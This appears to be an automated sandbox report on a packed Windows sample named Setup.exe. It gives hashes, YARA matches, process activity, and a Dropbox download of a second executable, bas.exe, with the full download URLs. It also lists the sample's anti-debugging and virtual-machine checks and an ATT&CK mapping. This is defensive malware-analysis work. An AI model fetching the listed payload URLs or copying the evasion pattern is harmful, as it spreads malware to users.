Edit tour

Windows Analysis Report
Setup.exe

Overview

General Information

Sample name:	Setup.exe
Analysis ID:	1579569
MD5:	4df8231315f36673367c24d44e728c07
SHA1:	8cc800f7b8cea920a9e276203dcc80c60713d125
SHA256:	3cfef03a477cbcf259ec5ba7870085ecbad477b952d6bd41fe1e4d6ec68116ec
Tags:	exeuser-aachum
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Detected VMProtect packer

Machine Learning detection for sample

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to query CPU information (cpuid)

Drops PE files

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains more sections than normal

PE file contains sections with non-standard names

Suricata IDS alerts with low severity for network traffic

Yara signature match

Classification

Process Tree

System is w10x64

Setup.exe (PID: 6652 cmdline: "C:\Users\user\Desktop\Setup.exe" MD5: 4DF8231315F36673367C24D44E728C07)

WerFault.exe (PID: 5552 cmdline: C:\Windows\system32\WerFault.exe -u -p 6652 -s 864 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Setup.exe	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x200:$s2: .enigma1 0x228:$s3: .enigma2

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2551931711.0000000000400000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x200:$s2: .enigma1 0x228:$s3: .enigma2
00000000.00000000.1700497634.0000000000400000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x200:$s2: .enigma1 0x228:$s3: .enigma2

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Setup.exe.400000.0.raw.unpack	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x200:$s2: .enigma1 0x228:$s3: .enigma2
0.2.Setup.exe.400000.0.raw.unpack	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x200:$s2: .enigma1 0x228:$s3: .enigma2
0.2.Setup.exe.400000.0.unpack	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x200:$s2: .enigma1 0x228:$s3: .enigma2
0.0.Setup.exe.400000.0.unpack	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x200:$s2: .enigma1 0x228:$s3: .enigma2

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T01:21:04.479001+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	162.125.69.18	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\bas[1].exe

ReversingLabs: Detection: 26%

Multi AV Scanner detection for submitted file

Source: Setup.exe	Virustotal: Detection: 19%			Perma Link
Source: Setup.exe	ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Setup.exe

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 162.125.69.18 162.125.69.18
Source: Joe Sandbox View	IP Address: 162.125.69.15 162.125.69.15

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49730 -> 162.125.69.18:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00401638 free,InternetOpenA,FreeLibrary,InternetConnectA,FreeLibrary,HttpOpenRequestA,FreeLibrary,HttpSendRequestA,FreeLibrary,InternetReadFile,free,FreeLibrary,FreeLibrary,free,

0_2_00401638

Source: global traffic	HTTP traffic detected: GET /scl/fi/5f2wtgchzmyjlw28dykxx/bas.exe?rlkey=pe1jp4uyttpg7v7kioe9u8jb3&e=1&st=7wdacn4u&dl=1 HTTP/1.1User-Agent: HTTPS DownloaderHost: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgxL_sGgMmenlNr7FuMdTwdE1QOtLEAvyvMdrq-bulTjKCVTsfTR1GGgVvibEnL4VKGXy7fhr9VgzYQYFYL4SrP7TlgvcKyh7J8kKb_KDnhLX7mQlWP1127kJQEUEtdVPKaLqIMqjXhd4ZMQlHSKE0tJ/file?dl=1 HTTP/1.1User-Agent: HTTPS DownloaderHost: uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com

Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: Setup.exe, 00000000.00000002.2552010178.0000000000523000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2331533297.0000000000573000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2552203137.0000000000573000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com/
Source: Setup.exe, 00000000.00000002.2552010178.0000000000509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com/cd/0/get/CgxL_sGgMmenlNr7FuMdTwdE1QOt
Source: Setup.exe, 00000000.00000003.2331533297.0000000000573000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2552203137.0000000000573000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com/x
Source: Setup.exe, 00000000.00000002.2552010178.0000000000523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: Setup.exe, 00000000.00000002.2552285277.0000000000840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/5f2wtgchzmyjlw28dykxx/bas.exe?rlkey=pe1jp4uyttpg7v7kioe9u8jb3&e=1&st=

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.4:49731 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Setup.exe, type: SAMPLE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 0.0.Setup.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 0.2.Setup.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 0.2.Setup.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 0.0.Setup.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 00000000.00000002.2551931711.0000000000400000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 00000000.00000000.1700497634.0000000000400000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects executables packed with Enigma Author: ditekSHen

Detected VMProtect packer

Source: Setup.exe

Static PE information: .vmp0 and .vmp1 section names

Source: C:\Users\user\Desktop\Setup.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6652 -s 864

Source: Setup.exe

Static PE information: Number of sections : 28 > 10

Source: Setup.exe, type: SAMPLE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 0.0.Setup.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 0.2.Setup.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 0.2.Setup.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 0.0.Setup.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 00000000.00000002.2551931711.0000000000400000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 00000000.00000000.1700497634.0000000000400000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018

Source: classification engine

Classification label: mal76.winEXE@2/6@2/2

Source: C:\Users\user\Desktop\Setup.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\bas[1].exe

Jump to behavior

Source: C:\Windows\System32\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6652

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\6a6d6e03-4072-4468-b8ed-20c16294f598

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Setup.exe	Virustotal: Detection: 19%
Source: Setup.exe	ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Users\user\Desktop\Setup.exe "C:\Users\user\Desktop\Setup.exe"
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6652 -s 864

Source: C:\Users\user\Desktop\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Setup.exe	Static PE information: section name: .enigma1
Source: Setup.exe	Static PE information: section name: .enigma2
Source: Setup.exe	Static PE information: section name: .vmp0
Source: Setup.exe	Static PE information: section name: .vmp1
Source: Setup.exe	Static PE information: section name: .vmp2
Source: Setup.exe	Static PE information: section name: .winlice
Source: Setup.exe	Static PE information: section name: .petite
Source: Setup.exe	Static PE information: section name: .rlp
Source: Setup.exe	Static PE information: section name: .dsstext
Source: Setup.exe	Static PE information: section name: logicoma
Source: Setup.exe	Static PE information: section name: adr
Source: Setup.exe	Static PE information: section name: have
Source: Setup.exe	Static PE information: section name: 30cm
Source: Setup.exe	Static PE information: section name: PETETRIS
Source: Setup.exe	Static PE information: section name: .alien
Source: Setup.exe	Static PE information: section name: .pwdprot
Source: Setup.exe	Static PE information: section name: .arch
Source: Setup.exe	Static PE information: section name: .tw
Source: Setup.exe	Static PE information: section name: .vlizer
Source: Setup.exe	Static PE information: section name: .aspack
Source: Setup.exe	Static PE information: section name: .adata
Source: Setup.exe	Static PE information: section name: __wibu00
Source: Setup.exe	Static PE information: section name: __wibu01
Source: bas[1].exe.0.dr	Static PE information: section name: .fptable
Source: bas[1].exe.0.dr	Static PE information: section name: _RDATA

Source: initial sample

Static PE information: section name: UPX0

Source: C:\Users\user\Desktop\Setup.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\bas[1].exe

Jump to dropped file

Source: C:\Users\user\Desktop\Setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\bas[1].exe

Jump to dropped file

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Setup.exe, 00000000.00000002.2552010178.00000000004AC000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2552010178.0000000000532000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2552010178.0000000000509000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\Setup.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00401440 cpuid

0_2_00401440

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	11 System Information Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
Setup.exe	20%	Virustotal	Browse
Setup.exe	16%	ReversingLabs
Setup.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\bas[1].exe	26%	ReversingLabs

Name	IP	Active	Malicious	Reputation
edge-block-www-env.dropbox-dns.com	162.125.69.15	true	false	high
www-env.dropbox-dns.com	162.125.69.18	true	false	high
uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com	unknown	unknown	false	unknown
www.dropbox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/scl/fi/5f2wtgchzmyjlw28dykxx/bas.exe?rlkey=pe1jp4uyttpg7v7kioe9u8jb3&e=1&st=7wdacn4u&dl=1	false		high
https://uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com/cd/0/get/CgxL_sGgMmenlNr7FuMdTwdE1QOtLEAvyvMdrq-bulTjKCVTsfTR1GGgVvibEnL4VKGXy7fhr9VgzYQYFYL4SrP7TlgvcKyh7J8kKb_KDnhLX7mQlWP1127kJQEUEtdVPKaLqIMqjXhd4ZMQlHSKE0tJ/file?dl=1	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://upx.sf.net	Amcache.hve.6.dr	false	high
https://uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com/cd/0/get/CgxL_sGgMmenlNr7FuMdTwdE1QOt	Setup.exe, 00000000.00000002.2552010178.0000000000509000.00000004.00000020.00020000.00000000.sdmp	false	unknown
